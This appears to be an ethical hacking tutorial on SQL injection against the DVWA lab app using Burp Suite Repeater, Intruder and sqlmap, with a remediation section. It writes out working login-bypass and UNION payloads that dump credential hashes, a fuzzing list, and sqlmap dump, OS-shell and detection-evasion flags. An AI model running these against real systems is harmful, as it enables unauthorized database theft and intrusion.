SQL Injection Using Burp Suite on Linux — Step-by-Step Ethical Hacking Guide 2026
⚠️ Legal Disclaimer: This guide is written exclusively for ethical hacking, authorized penetration testing, and cybersecurity education. Performing SQL injection — or any attack technique — against systems you do not own or have explicit written authorization to test is illegal under the Computer Fraud and Abuse Act (CFAA) in the United States, the Computer Misuse Act in the UK, and equivalent laws in most jurisdictions worldwide. Every technique in this guide must be practiced only in isolated virtual machine lab environments you control. The author and publisher accept no responsibility for misuse of this information.
SQL injection is not a niche edge-case vulnerability. It sits at number three on the OWASP Top 10 list of the most critical web application security risks, and it has been exploited in some of the most damaging data breaches in history — from the 2012 LinkedIn breach affecting 117 million accounts to the 2011 Sony PlayStation Network incident that exposed 77 million user records. Understanding how it works, how to find it, and how to demonstrate it in a controlled environment is a foundational skill for any penetration tester or web application security researcher.
Burp Suite is the tool that makes this practical. It sits between your browser and the target application as an intercepting proxy, giving you complete visibility and control over every HTTP request before it reaches the server. Where most guides treat Burp as a simple traffic sniffer, this one shows you how to use it as a full attack platform — from initial request capture through manual injection, automated fuzzing with Intruder, and automated database extraction with sqlmap.
Everything in this guide is designed for isolated lab environments. Nothing here belongs near a system you do not own.
What Is SQL Injection and Why Does It Still Work in 2026?
SQL injection (SQLi) is a web application vulnerability that allows an attacker to interfere with the queries a web application makes to its database. When user-supplied input is not properly sanitized or parameterized before being embedded into a SQL query, an attacker can inject malicious SQL code that the database executes as a legitimate command.
The reason it still works in 2026 — despite being one of the oldest and most documented vulnerability classes in existence — is straightforward. Developers continue to build applications that concatenate user input directly into SQL queries without parameterization, and legacy codebases with this flaw continue to run in production environments long after more secure alternatives became standard practice.
A vulnerable query looks like this in PHP:
$query = "SELECT * FROM users WHERE username = '" . $_GET['user'] . "'";
If a user submits the value admin' OR '1'='1, the query becomes:
SELECT * FROM users WHERE username = 'admin' OR '1'='1'
The condition '1'='1' is always true. The WHERE clause is bypassed. The database returns all users. The attacker is logged in without valid credentials.
This is a classic authentication bypass — the simplest form of SQL injection. From here, the attack surface extends to extracting entire database contents, reading files from the server file system, and in some configurations, executing operating system commands.
Types of SQL Injection You Need to Know
Understanding the different SQLi types before testing prevents you from misidentifying a vulnerability — or missing one entirely because you were only looking for one pattern.
In-Band SQL Injection — Error-Based
The most straightforward type. The database returns an error message that reveals structural information about the query or the database itself. An input like ' (a single quote) causing a visible MySQL error in the browser response is a strong indicator of this vulnerability type. Error messages often reveal the database version, table names, or query structure directly.
In-Band SQL Injection — UNION-Based
Uses the SQL UNION operator to append an additional SELECT statement to the original query, retrieving data from other tables in the same response. Requires knowing — or discovering — the number of columns returned by the original query and compatible data types. This is the most commonly demonstrated SQLi technique in penetration test reports.
Blind SQL Injection — Boolean-Based
The application does not return database errors or query data in the response, but its behavior changes based on whether the injected condition is true or false. An attacker sends payloads like ' AND 1=1 -- (true — page loads normally) and ' AND 1=2 -- (false — page loads differently or returns no results) and infers data one bit at a time from the response differences.
Blind SQL Injection — Time-Based
The application returns no visible difference in response regardless of the injected condition. The attacker uses time-delay functions — MySQL's SLEEP(5), PostgreSQL's pg_sleep(5) — to infer whether a condition is true by measuring how long the server takes to respond. If the response delays by five seconds, the condition evaluated as true.
Out-of-Band SQL Injection
Uses the database server's ability to make DNS or HTTP requests to an external server to exfiltrate data. Requires specific database functions and network configurations to be enabled — less common in practice but critical to understand for thorough assessments.
Step 1: Building Your Lab Environment
Before touching Burp Suite, you need a legal target. Running SQLi payloads against a real website — even one that appears vulnerable — without written authorization is illegal and unethical.
Required components:
- Kali Linux — available as a pre-built VM from kali.org/get-kali. Import into VirtualBox or VMware.
- Metasploitable 2 — a deliberately vulnerable Ubuntu VM from Rapid7. Download from SourceForge and import into the same hypervisor.
- DVWA (Damn Vulnerable Web Application) — pre-installed on Metasploitable 2. Accessible at
http://[Metasploitable-IP]/dvwafrom your Kali browser.
Network isolation:
Set both VMs to Host-Only networking in VirtualBox:
VM Settings → Network → Adapter 1 → Attached to: Host-Only Adapter
Apply this to both Kali and Metasploitable 2. This isolates all traffic between the two VMs from your actual network and the internet.
Verify connectivity from Kali:
ping [Metasploitable-IP]
Then confirm you cannot reach external addresses:
ping 8.8.8.8
# Should time out — no internet from your lab VMs
Once both conditions are confirmed, your lab is properly isolated and ready.
Step 2: Installing and Launching Burp Suite on Kali Linux
Burp Suite Community Edition comes pre-installed on Kali Linux. Launch it from the application menu under Web Application Analysis, or from the terminal:
burpsuite
If it is not installed:
sudo apt update && sudo apt install burpsuite -y
On first launch, Burp Suite will prompt you to create a temporary project. Select Temporary project and click Next. On the next screen, select Use Burp defaults and click Start Burp.
Verify the version:
burpsuite --version
The Community Edition is sufficient for everything in this guide. Burp Suite Professional adds an automated scanner and unlimited Intruder threads — useful for professional engagements but not required for the techniques covered here.
Step 3: Configuring Firefox as a Proxy Through Burp Suite
Burp Suite works as a man-in-the-middle proxy between your browser and the target. Every HTTP request your browser sends passes through Burp first, giving you the ability to inspect, modify, or drop it before it reaches the server.
Configure Burp's proxy listener:
Burp listens on 127.0.0.1:8080 by default. Confirm this in Burp Suite: Proxy tab → Options → Proxy Listeners. The listener at 127.0.0.1:8080 should show status Running.
Configure Firefox to route traffic through Burp:
Open Firefox on your Kali VM. Navigate to Preferences → General → Network Settings → Settings. Select Manual proxy configuration and enter:
- HTTP Proxy:
127.0.0.1 - Port:
8080 - Check Also use this proxy for HTTPS
- Clear the No Proxy for field completely
Click OK. Firefox is now routing all traffic through Burp Suite.
Install Burp's CA Certificate (for HTTPS interception):
In Firefox, navigate to http://burp. Click CA Certificate in the top right to download cacert.der. In Firefox Preferences → Privacy & Security → Certificates → View Certificates → Authorities tab → Import. Select the downloaded certificate, check Trust this CA to identify websites, and confirm. Firefox will now trust Burp's certificate for HTTPS interception.
Step 4: Intercepting a Request With Burp Suite Proxy
With Firefox and Burp configured, navigate to the DVWA login page in Firefox:
http://[Metasploitable-IP]/dvwa/login.php
Log in with the default DVWA credentials — username admin, password password. Once inside, set the DVWA Security Level to Low:
DVWA Security → Security Level → Low → Submit
Navigate to the SQL Injection module:
DVWA Menu → SQL Injection
This page shows a User ID field that queries the database and returns user information. Now enable interception in Burp Suite:
Proxy tab → Intercept tab → click "Intercept is on"
Back in Firefox, type 1 into the User ID field and click Submit. The request is captured in Burp's Intercept tab. You will see something like:
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.56.102
Cookie: security=low; PHPSESSID=abc123def456
The id parameter is what the database query uses. This is the injection point.
Right-click anywhere on the captured request and select Send to Repeater. Then click Forward to pass the request to the server and turn Intercept off.
Step 5: Manual SQL Injection Testing in Burp Suite Repeater
Repeater is Burp Suite's manual request modification tool. It allows you to send the same request repeatedly with different payloads and observe the full server response each time — without going through the browser.
Switch to the Repeater tab. The captured request is already loaded.
Test 1 — Basic error trigger:
Modify the id parameter by adding a single quote:
GET /dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit HTTP/1.1
Click Send. Examine the response. If the application is vulnerable to error-based SQLi, you will see a MySQL error in the response:
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''1''' at line 1
This confirms the id parameter is directly embedded in a SQL query without sanitization. The vulnerability is real.
Test 2 — Boolean-based confirmation:
GET /dvwa/vulnerabilities/sqli/?id=1 AND 1=1--+&Submit=Submit HTTP/1.1
This should return the normal user record — the condition is true. Now test the false condition:
GET /dvwa/vulnerabilities/sqli/?id=1 AND 1=2--+&Submit=Submit HTTP/1.1
This should return no user record. The page behavior changes based on the Boolean condition — confirming Boolean-based SQLi.
Test 3 — Authentication bypass on login form:
If testing a login form rather than a search parameter, use:
username: admin'--
password: anything
The injected -- comments out the rest of the SQL query — including the password check. The query becomes:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
Everything after -- is treated as a comment. The password check is eliminated. Login succeeds without valid credentials.
Step 6: UNION-Based SQL Injection — Extracting Database Information
UNION-based injection lets you append your own SELECT statement to the original query and retrieve data from any table in the database. It requires two preliminary steps before data extraction can begin.
Step 6a — Determine the number of columns:
The original query returns a certain number of columns. Your UNION SELECT must return the same number. Use ORDER BY to find it:
id=1 ORDER BY 1--+ # Works — at least 1 column
id=1 ORDER BY 2--+ # Works — at least 2 columns
id=1 ORDER BY 3--+ # Works — at least 3 columns
id=1 ORDER BY 4--+ # Error — only 3 columns exist
When ORDER BY throws an error, the original query returns one fewer column than the number that caused the error. In this case: 3 columns.
In Repeater, test each value in the id parameter and observe whether the response changes.
Step 6b — Find string-compatible columns:
Use NULL placeholders to identify which column positions accept string data:
id=-1 UNION SELECT NULL,NULL,NULL--+
Then replace each NULL with a string to find displayable positions:
id=-1 UNION SELECT 'a',NULL,NULL--+
id=-1 UNION SELECT NULL,'a',NULL--+
id=-1 UNION SELECT NULL,NULL,'a'--+
When 'a' appears in the response, that column position is string-compatible and will display extracted data.
Step 6c — Extract database version:
id=-1 UNION SELECT NULL,version(),NULL--+
Response will include the MySQL version string — for example 5.5.62-0ubuntu0.14.04.1.
Step 6d — Extract current database name:
id=-1 UNION SELECT NULL,database(),NULL--+
Step 6e — Extract all table names:
id=-1 UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--+
The response lists every table in the current database — typically including a users table in DVWA.
Step 6f — Extract column names from the users table:
id=-1 UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--+
Step 6g — Extract user credentials:
id=-1 UNION SELECT NULL,concat(user,':',password),NULL FROM users--+
The response returns all username and password hash pairs stored in the database.
Step 7: Fuzzing for SQL Injection With Burp Suite Intruder
When you have a large number of parameters to test, or want to systematically try a payload list against a single injection point, Burp Suite Intruder automates the process.
Send the request to Intruder:
In the Repeater tab, right-click the request and select Send to Intruder.
Configure payload positions:
In the Intruder tab, go to the Positions sub-tab. Burp will automatically highlight candidate injection points with § markers. Clear all auto-detected positions using Clear §, then manually highlight the value of the id parameter and click Add §:
id=§1§&Submit=Submit
Select attack type:
For a single injection point testing multiple payloads, select Sniper as the attack type.
Load the SQL injection payload list:
Go to the Payloads sub-tab. Under Payload Sets, set type to Simple list. Click Load and navigate to Kali's built-in SQL injection wordlist:
/usr/share/wfuzz/wordlist/Injections/SQL.txt
Alternatively, use the PortSwigger SQLi fuzzing list, or manually add payloads:
'
''
`
')
'))
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
admin'--
' AND 1=1--
' AND 1=2--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' OR SLEEP(5)--
Analyze results:
Click Start Attack. The Intruder results window shows every request and response. Sort by Length — responses that differ significantly in length from the baseline often indicate a successful injection. Look for responses containing MySQL error strings, extra user data, or unusual response codes.
Note: In the Community Edition, Intruder threads are rate-limited. Burp Suite Professional removes this restriction.
Step 8: Automating Database Extraction With sqlmap
Once Burp Suite has confirmed that a parameter is injectable, sqlmap automates the full database extraction process — enumerating databases, tables, columns, and dumping data far faster than manual UNION queries allow.
Save the request from Burp:
In Burp Suite Repeater or Proxy, right-click the captured request and select Save item. Save it as request.txt to your home directory.
Run sqlmap against the saved request:
sqlmap -r /home/kali/request.txt --dbs
-r tells sqlmap to use the saved request file (including all headers and cookies — preserving your session). --dbs enumerates all available databases.
Enumerate tables in a specific database:
sqlmap -r /home/kali/request.txt -D dvwa --tables
Enumerate columns in the users table:
sqlmap -r /home/kali/request.txt -D dvwa -T users --columns
Dump all data from the users table:
sqlmap -r /home/kali/request.txt -D dvwa -T users --dump
sqlmap will automatically detect the injection type, confirm exploitability, and extract the data. For password hashes, it offers to attempt cracking them against common wordlists using its built-in dictionary.
Additional sqlmap flags worth knowing:
--level=5— increase test thoroughness (1–5 scale, default is 1)--risk=3— increase the aggressiveness of tests (1–3 scale)--batch— run non-interactively, accepting all defaults--os-shell— attempt to spawn an OS shell if the database user has file privileges--random-agent— randomize the User-Agent header to reduce detection likelihood
Step 9: Identifying SQL Injection With Burp Scanner (Community vs Professional)
Burp Suite Community Edition does not include the automated vulnerability scanner. Burp Suite Professional does — and it will automatically identify SQL injection vulnerabilities during a passive or active crawl.
For Community Edition users, the manual workflow covered in Steps 4–7 is the primary method. To supplement it, use the following approach to systematically identify injection points before manual testing:
Passive reconnaissance with Burp Target:
Turn off Intercept and browse through the target application with Firefox routed through Burp. Burp silently captures all requests in the HTTP History under the Proxy tab. After browsing the full application, review the HTTP History for parameters — GET parameters in URLs, POST body parameters in forms, and cookie values — that are passed to the server. Every parameter is a potential injection point.
Identify injection-prone parameter types:
- Numeric ID parameters (
id=1,user_id=5,product=43) — high-priority targets - Search fields (
search=keyword,q=term) — commonly vulnerable - Login form fields (
username=,password=) — test for authentication bypass - Order and sort parameters (
order=name,sort=asc) — often overlooked and frequently vulnerable - Cookie values — injectable in some applications
Test each parameter in Repeater:
For each identified parameter, send the request to Repeater and test with a single quote. A MySQL error response confirms vulnerability immediately. No error does not confirm safety — Boolean-based and time-based blind SQLi may still be present without visible errors.
Step 10: Documenting SQL Injection Findings
A confirmed SQL injection vulnerability needs to be documented with the same rigor applied to the testing itself. Here is the standard structure for an SQLi finding in a penetration test report:
FINDING: SQL Injection — [Parameter Name] on [Endpoint]
SEVERITY: Critical
HOST: 192.168.56.102
ENDPOINT: /dvwa/vulnerabilities/sqli/
PARAMETER: id
INJECTION TYPE: In-band UNION-based
EVIDENCE:
Payload: id=-1 UNION SELECT NULL,concat(user,':',password),NULL FROM users--+
Response: Returned all username and MD5 password hash pairs from the users table.
Confirmed database: dvwa | MySQL version: 5.5.62
TOOLS USED: Burp Suite Community Edition v2026.x, sqlmap v1.8
RISK:
An attacker can enumerate the entire database, extract all user credentials,
read server-side files (if FILE privilege is granted), and potentially execute
operating system commands via SQL functions. This vulnerability enables full
database compromise with no authentication required.
REMEDIATION:
1. Replace string concatenation with parameterized queries (prepared statements)
in all database-facing code
2. Apply an allowlist input validation on all user-supplied parameters
3. Implement a Web Application Firewall (WAF) with SQLi detection signatures
4. Restrict database user privileges to the minimum required — no FILE or EXECUTE
5. Enable database activity monitoring and alert on anomalous query patterns
6. Audit all other input parameters in the application for the same vulnerability class
SQL Injection Prevention — What Developers Need to Fix
Understanding the defense is as important as understanding the attack. Every penetration test finding is only valuable if it leads to a concrete remediation. Here is what developers need to implement to eliminate SQL injection.
Parameterized queries — the definitive fix:
The root cause of every SQL injection vulnerability is user input being embedded directly into a query string. Parameterized queries — also called prepared statements — separate the query structure from the data entirely. The database never interprets user input as SQL code.
In PHP with PDO:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
The value of $id is passed as data — not as part of the query string. No injection is possible regardless of what the user submits.
Input validation:
Validate that user input conforms to the expected format and type before it reaches any database operation. An id parameter that should be an integer should be validated as an integer. Any input that does not pass validation should be rejected before processing.
Least-privilege database accounts:
The application's database user should only have the permissions it needs — SELECT, INSERT, UPDATE, and DELETE on specific tables. It should never have FILE, DROP, EXECUTE, or administrative privileges. Even if SQLi is exploited, least-privilege limits the blast radius.
Web Application Firewall:
A WAF with SQLi detection signatures provides an additional detection and blocking layer. It is not a substitute for parameterized queries — bypass techniques for WAFs are well documented — but it adds meaningful defense-in-depth.
Common Mistakes That Break Your SQLi Testing
Not setting DVWA security to Low first. DVWA's Medium and High security levels include input filtering that changes how payloads must be constructed. Start at Low to understand the baseline, then work up to Medium and High as skill builds.
Forgetting to send cookies in manual requests. DVWA requires authentication cookies for the SQL injection module to function. When manually crafting requests in Repeater, confirm the Cookie header includes both PHPSESSID and security=low. Without these, requests redirect to the login page.
Using -- without a trailing space or +. In URL parameters, SQL comments need URL encoding. Use --+ (where + decodes to a space) or -- - (with a trailing space) to ensure the comment syntax is valid. A bare -- without a following space is not valid SQL in all database implementations.
Ignoring the response length. In Intruder results, response length is the primary indicator of a meaningful change. Payloads that produce a response of significantly different length from the baseline deserve immediate manual investigation in Repeater.
Running sqlmap without saving the Burp request first. If you run sqlmap directly against a URL without session cookies, DVWA redirects to the login page for every request. Always save the authenticated request from Burp and pass it to sqlmap with -r request.txt.
Frequently Asked Questions
Is SQL injection still relevant in 2026? Yes. Despite being a decades-old vulnerability class, SQL injection consistently appears in the OWASP Top 10 and continues to be discovered in production applications through penetration tests and bug bounty programs. Legacy codebases, rapidly built applications without security review, and third-party components with unpatched SQLi vulnerabilities keep it active.
What is the difference between Burp Suite Community and Professional for SQLi testing? Community Edition includes the Proxy, Repeater, Intruder (with rate-limiting), Decoder, and Comparer — sufficient for manual SQLi testing. Professional Edition adds an automated vulnerability scanner that identifies SQLi automatically, removes Intruder rate limits, and includes BApp extensions. For learning and manual testing, Community is fully adequate.
Can Burp Suite detect SQL injection automatically? Burp Suite Professional's scanner detects SQLi automatically during active scans. Community Edition does not include the automated scanner — detection requires manual testing through Proxy, Repeater, and Intruder as covered in this guide.
What is the difference between sqlmap and Burp Suite Intruder for SQL injection? Burp Suite Intruder is a general-purpose fuzzer — it sends payloads and lets you analyze responses. It is not purpose-built for SQL injection exploitation. sqlmap is specifically built for SQLi detection and exploitation — it automatically identifies the injection type, extracts database structure, and dumps data. Use Burp Intruder for detection and initial confirmation, sqlmap for full extraction.
Does SQL injection work against all databases?
The core concept applies to all relational databases. The specific syntax, functions, and exploitation techniques vary by database type — MySQL, PostgreSQL, MSSQL, Oracle, and SQLite each have distinct behaviors. SLEEP(5) is MySQL syntax; PostgreSQL uses pg_sleep(5). MSSQL uses WAITFOR DELAY '0:0:5'. sqlmap handles database-specific syntax automatically.
How do I know which parameter is vulnerable? Test every parameter that the application sends to the server — GET parameters in URLs, POST body fields in forms, cookie values, and HTTP headers like User-Agent or Referer in some applications. A single quote in any of these positions producing a database error or a change in application behavior is the primary indicator.
What should I do after finding a SQL injection vulnerability in a real engagement? Document the finding immediately with the payload, endpoint, and response evidence. Do not extract more data than is necessary to demonstrate the vulnerability and its severity. Report to the system owner as a critical finding with the remediation steps outlined above. Follow your Rules of Engagement for data handling — discovered credentials must be treated as sensitive information.
Related Articles
-
How to Use Hydra on Kali Linux VM to Crack Passwords Ethically — Full 2026 Guide — once you have extracted credential hashes via SQL injection, Hydra is the tool for testing live authentication services with those credentials. The two techniques complement each other directly in a real penetration test workflow.
-
Outlier AI Review 2026: Real Pay Rates, Task Types, and Honest Verdict — cybersecurity professionals and penetration testers are among the most matched profiles for AI model red-teaming and safety evaluation roles that pay $40–$60 per hour remotely.
-
Handshake AI MOVE Fellowship Review: Is the Domain Specialist Program Worth It? — computer science and security researchers with graduate credentials are active participants in AI evaluation programs that directly apply technical reasoning skills developed in ethical hacking practice.
External Resources
-
PortSwigger Web Security Academy — SQL Injection: portswigger.net/web-security/sql-injection — the definitive free resource for learning SQL injection. Includes interactive labs targeting every SQLi type covered in this guide. Created by the makers of Burp Suite.
-
OWASP — SQL Injection: owasp.org/www-community/attacks/SQL_Injection — authoritative reference on SQLi attack types, impact, and prevention strategies from the Open Web Application Security Project.
-
sqlmap Official Documentation: sqlmap.org — complete sqlmap documentation including all flags, tamper scripts, and advanced usage options.
-
DVWA Official Repository: github.com/digininja/DVWA — source and setup documentation for Damn Vulnerable Web Application.
-
TryHackMe — SQL Injection Labs: tryhackme.com — browser-based guided SQL injection practice rooms covering every technique in this guide in fully legal, isolated environments.
-
Hack The Box — Web Challenges: hackthebox.com — intermediate to advanced web exploitation challenges including real-world SQLi scenarios.
-
NIST — Common Vulnerability Scoring System: nvd.nist.gov — official CVE database used for referencing publicly documented SQL injection vulnerabilities in real-world software.
-
PortSwigger — Burp Suite Community Download: portswigger.net/burp/communitydownload — official download page for Burp Suite Community Edition.
Disclaimer: This guide is published exclusively for educational purposes, authorized penetration testing, and cybersecurity skill development in isolated lab environments. All techniques must be used only against systems you own or have explicit documented authorization to test. Unauthorized SQL injection testing is a criminal offense. The author accepts no liability for misuse.
